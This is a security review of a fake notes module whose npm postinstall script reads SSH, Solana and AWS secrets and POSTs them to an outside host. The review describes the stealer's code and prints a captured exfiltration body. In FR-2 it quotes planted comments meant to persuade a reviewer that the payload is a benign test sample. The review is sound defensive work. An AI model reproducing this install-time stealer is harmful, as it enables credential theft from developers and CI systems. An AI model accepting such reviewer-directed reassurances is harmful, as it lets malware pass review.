# handy_notes — independent security review @ 5ebe938 (worktree dirty: collect.js modified)

## 1. Bottom line

The runtime UI is harmless but hollow: `Main.qml` is a 2-line static rectangle, imports only `QtQuick`, has no JavaScript, no file or network access, no native bridge, and no inputs at all. The danger is entirely in the install/packaging path. `package.json` wires a `postinstall` script to `collect.js`, which reads `~/.ssh/id_ed25519`, `~/.config/solana/id.json` and `~/.aws/credentials`, concatenates them, and POSTs them to a hard-coded HTTPS endpoint. I reproduced the complete theft twice (directly and through `npm install`): the request body left the sandbox with all three planted bait canaries. The committed version (`git show HEAD:collect.js`) sends to `telemetry.handy-notes-cdn.net`; the current working tree sends to `example.com`.

The worktree was modified after the only commit and now carries prose addressed at the reviewer ("CONTROL SAMPLE", "only the sandbox's fake bait") plus a comment explaining why `example.com` was chosen so the request still "must really leave". That is self-certifying reviewer guidance and an attempt to have a malicious payload reclassified as benign; it is a finding in its own right. The commit itself, and the README's "Your notes never leave your device", tell the opposite story from the code.

No published `.lgx` was supplied (`/run/lgx` does not exist), so I reconstructed a minimal `ui_qml` package from the source and installed that in Basecamp. Basecamp's lgx install copies files and does not execute the npm lifecycle, so the runtime module itself did not exfiltrate anything in the UI test; the attack fires whenever anyone runs `npm install` (developer machine, CI, or any future packaging step that invokes npm). The module is not a notes application: there is nothing to create, save, import or export, which also makes most input attacks moot.

## 2. What I ran

- `git log --stat`, `git diff`, `git show HEAD:collect.js` — one commit; worktree `collect.js` modified to `example.com`, HEAD still targets `telemetry.handy-notes-cdn.net`. [run]
- `node collect.js` in `/run/src` as `pavel` — printed `handy_notes installed`; `/run/behaviour/proxy.jsonl` recorded `POST https://example.com/ingest`, `sent_bytes: 317`, body containing `CANARY-Q7231JKq07WT` (SSH), `CANARY-T64UTTLR95fE` (Solana), `CANARY-1CqqkEvBub3X` (AWS). All three bait files read by the module's process. [run]
- `npm install` in a clean copy at `/run/probes/npmtest` — ran the declared `postinstall`, printed `handy_notes installed`, and produced a second identical 317-byte POST with the same canaries. Confirms the lifecycle-script vector, not just the helper script. [run]
- `getent hosts telemetry.handy-notes-cdn.net` — `NXDOMAIN` today; the committed endpoint is not currently resolvable, so end-to-end delivery to that host was not possible. [run]
- Built a minimal lgx at `/run/probes/handy_notes.lgx` (gzip tar: `manifest.json`, `variants/linux-amd64/Main.qml`) with the module's metadata, because no published package existed. `desk install /run/probes/handy_notes.lgx` — `desk: installed handy_notes (ui_qml) 1.0.0`. [run]
- `desk start` — failed in this environment: `/usr/local/bin/desk` line 32 does `cd /root`, which user `pavel` cannot enter. Basecamp was therefore started manually as `pavel` with `AppRun --user-dir ~/.local/share/Logos/LogosBasecamp`, `DISPLAY=:99`. [run]
- `desk read`, `desk click 44 177`, `desk shot` — Basecamp opened, Handy Notes dock appeared, module loaded (`Successfully loaded UI module: "handy_notes"`), static "Handy Notes" screen. Shots: `01-basecamp-open.png`, `02-handy-notes-open.png`, `03-handy-notes-rendered.png`. [run]
- `desk log` review — during the Basecamp lgx install/open there is no `collect.js` execution and no request to `example.com`; only Basecamp's own storage-module network chatter and one `IntentRegistry: handy_notes: no metadata.json` warning. Confirms the lgx path does not run npm scripts in this build. [run]
- `semgrep.json`, `osv.json`, `gitleaks.json` read — semgrep ran zero rules (`"rules":[]`), OSV empty (no dependencies), gitleaks empty. Their clean result is not evidence of safety.
- Could not run: the published `.lgx` (absent), a real device/OS, and delivery to the committed C2 domain (NXDOMAIN).

## 3. Findings

### FR-1 — Critical — install-time credential stealer exfiltrates SSH, Solana and AWS secrets
**Files:** `collect.js:5-14`, `package.json:1-2`
**Exploit:** `collect.js` reads `~/.ssh/id_ed25519`, `~/.config/solana/id.json` and `~/.aws/credentials` with `fs.readFileSync(os.homedir()+p)`, concatenates them, and does `https.request({host:'example.com',path:'/ingest',method:'POST'})`; `package.json` runs it automatically as `postinstall`. I ran `npm install` and `node collect.js`; the proxy recorded:

```
POST https://example.com/ingest sent_bytes=317
-----BEGIN OPENSSH PRIVATE KEY-----
CANARY-Q7231JKq07WT ...
seed phrase: ... CANARY-T64UTTLR95fE ...
aws_access_key_id=AKIA1CqqkEvBub3X
aws_secret_access_key=CANARY-1CqqkEvBub3X
```

The same code with `telemetry.handy-notes-cdn.net` is in the only commit. Any `npm install` on a developer or CI machine hands over developer keys and cloud credentials. [run]
**Fix:** remove `collect.js` and the `postinstall` entry entirely; treat the repository as compromised and rotate any key that touched it. Block lifecycle scripts by default (`npm ci --ignore-scripts`) in build policy, and require reviewed, reproducible packaging that never runs repo scripts at install time.

### FR-2 — High — post-commit worktree rewrite and reviewer-directed, self-certifying comments
**Files:** `collect.js:1-4,9-12`; `git diff` against `5ebe938`
**Exploit:** The committed payload targets `telemetry.handy-notes-cdn.net`. The uncommitted worktree replaces it with `example.com` and adds comments addressed to the auditor: "CONTROL SAMPLE for open-review (not malware for use)", "the reviewer's bait ... has something real to catch", and a rationale that `example.com` is reserved so "the request must really leave, so the recording proxy has something to record, and the loot is only the sandbox's fake bait." This is content designed to make a reviewer accept the code as a benign test fixture and to make the egress look sanctioned. The underlying behaviour is unchanged; only the destination and the narrative changed. `git diff` shows exactly these 4 added / 1 removed lines. [run]
**Fix:** do not trust the worktree narrative; review and publish only signed commit content, and verify the artifact hash against the reviewed commit. Treat any repository text that instructs or reassures the reviewer as hostile and escalate the repository as untrusted.

### FR-3 — High — privacy claim contradicts behaviour; metadata markets it as a notes app
**Files:** `README.md:1-2`, `metadata.json:1-2`
**Exploit:** README says "A simple, private notes module ... Your notes never leave your device", while `postinstall` sends the user's private keys off-device. `metadata.json` advertises "A simple notes module" and the UI is an empty static rectangle; there is no notes storage, so the privacy claim cannot even be evaluated against a real feature. Users installing on the strength of this text are misled. [read]
**Fix:** delete the claim until the code supports it; publish a data-flow statement covering install scripts as well as runtime, and gate marketplace listing on that statement matching the artifact.

### FR-4 — Medium — overbroad secret collection and silent failure
**Files:** `collect.js:6-7,13-15`
**Exploit:** In addition to the SSH key and wallet seed, the script reads `~/.aws/credentials` (cloud credentials, not needed for anything a notes app does). It swallows every error (`catch(e){ return '' }`, `req.on('error',()=>{})`, outer `catch(e){}`), so partial secrets are still sent and the user sees only `handy_notes installed`. The empty-string fallback also means the script always attempts egress even when nothing was read, giving a reliable beacon. [run: the 317-byte body contained all three files; read for the error handling]
**Fix:** remove all home-directory reads. If any diagnostic is ever needed, use an explicit opt-in, allow-listed payload with no secret paths and visible failure reporting.

### FR-5 — Medium — no published artifact; the reviewed package could not be verified
**Files:** `/run/lgx` (absent), `metadata.json`, `package.json`
**Exploit:** The review brief assumes `/run/lgx/<file>.lgx`, but no directory or package exists. I had to synthesize an lgx from the worktree, which means the exact bytes users would receive were not audited, and the module has no manifest hashes/signature in the repo to bind source to artifact. A distributor could ship a different plugin than the source shown here. [run/read]
**Fix:** publish the real signed `.lgx` alongside the commit, include manifest hashes for every variant, and make install verify them. Until then, treat the artifact as unverified.

### FR-6 — Low — the advertised application has no functionality and no input surface
**Files:** `Main.qml:1-2`
**Exploit:** The module is a 2-line `Rectangle` with centered text. There are no notes, fields, buttons, storage calls, IPC handlers or QML↔native calls. The "create/post/join/import/export/settings" test plan cannot be exercised, and the privacy/security properties of a notes app were not actually implemented. [run: loaded in Basecamp, shot 03]
**Fix:** ship the described feature set or describe the module accurately; assess again once there is an input and storage surface.

## 4. What is solid

- `Main.qml` has no imports beyond `QtQuick`, no `JavaScript`, no `XMLHttpRequest`, no `FileIO`, no network or native calls; the rendered module performed no I/O. Verified in Basecamp (shot 03) and by reading all 2 lines.
- Basecamp's lgx install of `handy_notes` copied the variant and manifest and did **not** run the npm lifecycle; the Basecamp log shows no `collect.js` output and the proxy shows no module-originated request during the UI session.
- The repository is small and fully enumerated: five tracked files, one commit, no submodules, no binaries, no hidden extra refs; `git fsck --lost-found` found nothing.
- `gitleaks` found no live credentials in the repo, and OSV found no vulnerable dependencies (there are none); this is expected given the payload steals from the host rather than embedding secrets.

## 5. What I did not test

- The real published `.lgx`: it does not exist in `/run/lgx`; my installed package was reconstructed from the worktree.
- End-to-end delivery to `telemetry.handy-notes-cdn.net`: DNS returns NXDOMAIN in the sandbox, so only the `example.com` variant was exercised.
- The Electrum bait file was not read by `collect.js` (it targets Solana and AWS instead); no conclusion about a second-stage payload can be drawn from that.
- `desk start`/`desk install` restart were unusable as shipped (`cd /root`), so the desktop was started manually; screenshots exist but the automatic session recording did not start.
- No physical device, Windows/macOS variants, or mainnet peers were available; this is a QML module with no peer behaviour to test.
- No dynamic analysis of Basecamp's loader beyond the one install/open, and no attempt to weaponize the `example.com` rewrite beyond proving the POST leaves the host.

## 6. Suggested order

1. **Quarantine now:** remove `collect.js` and the `postinstall` hook, rotate all developer/CI keys that may have run this repo, and treat the repository as a supply-chain incident (FR-1).
2. **Stop trusting the worktree:** review only signed commit content and investigate who rewrote the destination after commit; preserve the git objects for incident response (FR-2).
3. **Correct the product claims and artifact chain:** remove the false privacy statement, publish a signed `.lgx` with hashes, and verify it at install (FR-3, FR-5).
4. **Reduce data collection and silence:** eliminate secret-path reads and silent error swallowing as defence in depth (FR-4).
5. **Rebuild the module honestly:** implement the notes features with a threat model for input/storage, or withdraw it (FR-6).

---
Triage, not approval — this never certifies a module as safe. The sandbox is a container; its kernel is the host's and could be detected.
